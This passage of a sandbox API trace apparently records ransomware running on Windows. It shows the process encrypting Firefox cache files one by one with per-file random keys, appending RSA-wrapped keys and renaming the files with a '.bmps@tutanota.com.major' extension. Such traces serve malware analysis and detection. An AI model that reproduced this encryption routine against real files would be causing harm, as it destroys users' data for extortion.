RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x113e) returned 0x3437008 [0284.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x113e) returned 0x3438150 [0284.772] ReadFile (in: hFile=0x1b84, lpBuffer=0x3437008, nNumberOfBytesToRead=0x113e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x113e, lpOverlapped=0x0) returned 1 [0284.773] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.773] WriteFile (in: hFile=0x1b84, lpBuffer=0x3438150*, nNumberOfBytesToWrite=0x113e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3438150*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113e, lpOverlapped=0x0) returned 1 [0284.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0284.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438150 | out: hHeap=0x570000) returned 1 [0284.773] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113e [0284.773] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.773] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.773] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.773] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.773] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.773] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jln5MZ7hCwgfFseHzzulZgrSeWiARw9PwyDfVWx7DxVUFgoh12ybVDbCAzMq3JlT\n/+OL7ys0nupW+CJJTAfEE1ozGkssCwjJkUYHSnazg5hFGZL6DO/v4xYqpxVv068H\nNS1Imo3aGE3szDz9fNHy2WaVanVFNwW80U76HeX7zCyi+DYGK8d0sHtE7nGwzYNE\nXJ7wXKO/IK2x5aLdYURGa4/7V6cmtux2xXVm+2TjkXzwCdqExiuIRl5joaO2wxwS\n+qe8QdZ7we7s/7mERk61RpNDSxtc9UBjL9ZjHCGcPx2z5Lgh1VLMB7Ho51sWQsZu\nMACW0AbvdGDISrRKp2vTAg==\n", pcchString=0x2e3f9a8) returned 1 [0284.773] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.774] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.774] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.774] CloseHandle (hObject=0x1b84) returned 1 [0284.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.774] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a0c541c7e9fc0f629a45f976215eb2a8ae994f3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a0c541c7e9fc0f629a45f976215eb2a8ae994f3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0284.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65b290 | out: hHeap=0x570000) returned 1 [0284.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81aa0 | out: hHeap=0x570000) returned 1 [0284.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81aa0 [0284.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0284.776] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.776] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8", dwFileAttributes=0x80) returned 1 [0284.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65bce0 [0284.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65bce0 | out: hHeap=0x570000) returned 1 [0284.776] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\292c4d0dc8ea6d2c3ef1d5c53b62620ba70587f8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.777] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63318) returned 1 [0284.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf756) returned 0x3540048 [0284.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf756) returned 0x354f7a8 [0284.777] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0xf756, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf756, lpOverlapped=0x0) returned 1 [0284.838] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-63318, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.838] WriteFile (in: hFile=0x1b84, lpBuffer=0x354f7a8*, nNumberOfBytesToWrite=0xf756, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354f7a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf756, lpOverlapped=0x0) returned 1 [0284.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0284.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x354f7a8 | out: hHeap=0x570000) returned 1 [0284.839] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf756 [0284.839] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.839] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.839] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.839] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.839] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.839] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SaiISRNF2KLxtW5grHXlYUnnEg/tRfxGSqLKbGnoSNX66IKakEAlQeEaYg/ETlRl\nCIMfIFCedQiga1668Kaorc5nxgIxjy5v8WoCHJaIXDAw+Tm4jl+zw9OQLeovaZMd\nMdGvcToLnmyjdWlu7zrsk42CrZdDEvHQ4yOnqSmabdWJ8QyA1fJzVNRcmcKFRTQ9\nuBOYbkrf/wi9rlzqUpjqCbA7+akFKlScVsixp16VAlHrGGEP9t8cjM0XmeCR0nXQ\nWB/0R7OLnbgNfZVC5GRNu3rotlpTlRsP3P7AcbISSouV/3eUetRz73hYB3r7QMIk\nZwgO4dlT3hES8Emm1RloBA==\n", pcchString=0x2e3f9a8) returned 1 [0284.839] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.840] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.840] CloseHandle (hObject=0x1b84) returned 1 [0284.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.840] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\292c4d0dc8ea6d2c3ef1d5c53b62620ba70587f8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\292c4d0dc8ea6d2c3ef1d5c53b62620ba70587f8.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0284.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81aa0 | out: hHeap=0x570000) returned 1 [0284.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0284.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0284.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0284.843] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.843] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272", dwFileAttributes=0x80) returned 1 [0284.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81aa0 [0284.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81aa0 | out: hHeap=0x570000) returned 1 [0284.844] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\28dd73a864c09949be5b625dfa4cf2cc8d7b0272"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.845] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1400) returned 1 [0284.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x578) returned 0x66e948 [0284.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x578) returned 0x2f3e850 [0284.845] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x578, lpOverlapped=0x0) returned 1 [0284.862] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.862] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x578, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x578, lpOverlapped=0x0) returned 1 [0284.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0284.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0284.862] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x578 [0284.862] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.862] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.862] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.862] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.863] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.863] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UBS24F4JduaApoVcHFDGF0b1b0gJ1vg2E6FPAwakSu/XTMeASdkTc/DFHv8jO/Px\nWprz/4CPTMJuA3Q7WB1Xij48FGGUD+xnmq1haUZ8RNc/yUVIKoTrU3tglXAgFfPl\nJFSND1LHGR8UrhcIz6P6K152r91A+v4PLLfKaUu06gLkkOObzkD+ouMM8iCQODb7\nWboyVVT2Wag+T2JXTK4zYzUo0jRszHBqUDKZXIUJB2O9nIT0PiytloDWQnSf5btZ\n9DcxwG4XnfyOtGojRmhPJpjOq3ZBA2ZMBoeoVr/8IDf5olvnTGtyKi8/Hk+6664b\nub0ZteD4UvzqZ4c3KMguFw==\n", pcchString=0x2e3f9a8) returned 1 [0284.863] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.863] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.863] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.863] CloseHandle (hObject=0x1b84) returned 1 [0284.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.863] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\28dd73a864c09949be5b625dfa4cf2cc8d7b0272"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\28DD73A864C09949BE5B625DFA4CF2CC8D7B0272.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\28dd73a864c09949be5b625dfa4cf2cc8d7b0272.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0284.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0284.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0284.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0284.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6730 [0284.865] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.865] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98", dwFileAttributes=0x80) returned 1 [0284.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0284.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0284.865] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\26dcbf0ffa7b7c19de1489b4a1b568c65a456b98"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.866] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6247) returned 1 [0284.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1867) returned 0x3437008 [0284.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1867) returned 0x3438878 [0284.866] ReadFile (in: hFile=0x1b84, lpBuffer=0x3437008, nNumberOfBytesToRead=0x1867, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x1867, lpOverlapped=0x0) returned 1 [0284.927] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6247, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.927] WriteFile (in: hFile=0x1b84, lpBuffer=0x3438878*, nNumberOfBytesToWrite=0x1867, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3438878*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1867, lpOverlapped=0x0) returned 1 [0284.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0284.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438878 | out: hHeap=0x570000) returned 1 [0284.928] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1867 [0284.928] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.928] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.928] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.928] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="flfzuAHbeIYMERT3KiKJpdLbLFYgYWzx3u9lqOxwVDEcYPFaRb1ltz2nLO75xNwd\nKaXuT2PENjxMNIpuh1x1aJCRBICfnOSUdOBhX/g5yyOUzAHP2prCP9vZW5It6ffh\n1kujgb9E0094aEmQY80Ce9LGYVLEOxc5KQiBrIVtjCTtxLQjCxepssc95OCt9PLy\nhepgBWfuEUd6n4M+mjUmR01GKTqU0CUJ0iD3c+24HwQa0MBKC8KzanV7dKYxuMKZ\niROMR62ajH7iJY0DqqBf12e8RUrVczzimR1ZCfl/oQC/nCknuga8AAGyOpJ6hmyN\nWRxdJYwug7cksnJ7NI6Eig==\n", pcchString=0x2e3f9a8) returned 1 [0284.928] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.928] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.928] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.928] CloseHandle (hObject=0x1b84) returned 1 [0284.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.929] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\26dcbf0ffa7b7c19de1489b4a1b568c65a456b98"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\26DCBF0FFA7B7C19DE1489B4A1B568C65A456B98.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\26dcbf0ffa7b7c19de1489b4a1b568c65a456b98.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6730 | out: hHeap=0x570000) returned 1 [0284.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0284.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81ba8 | out: hHeap=0x570000) returned 1 [0284.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0284.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0284.931] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.931] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E", dwFileAttributes=0x80) returned 1 [0284.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 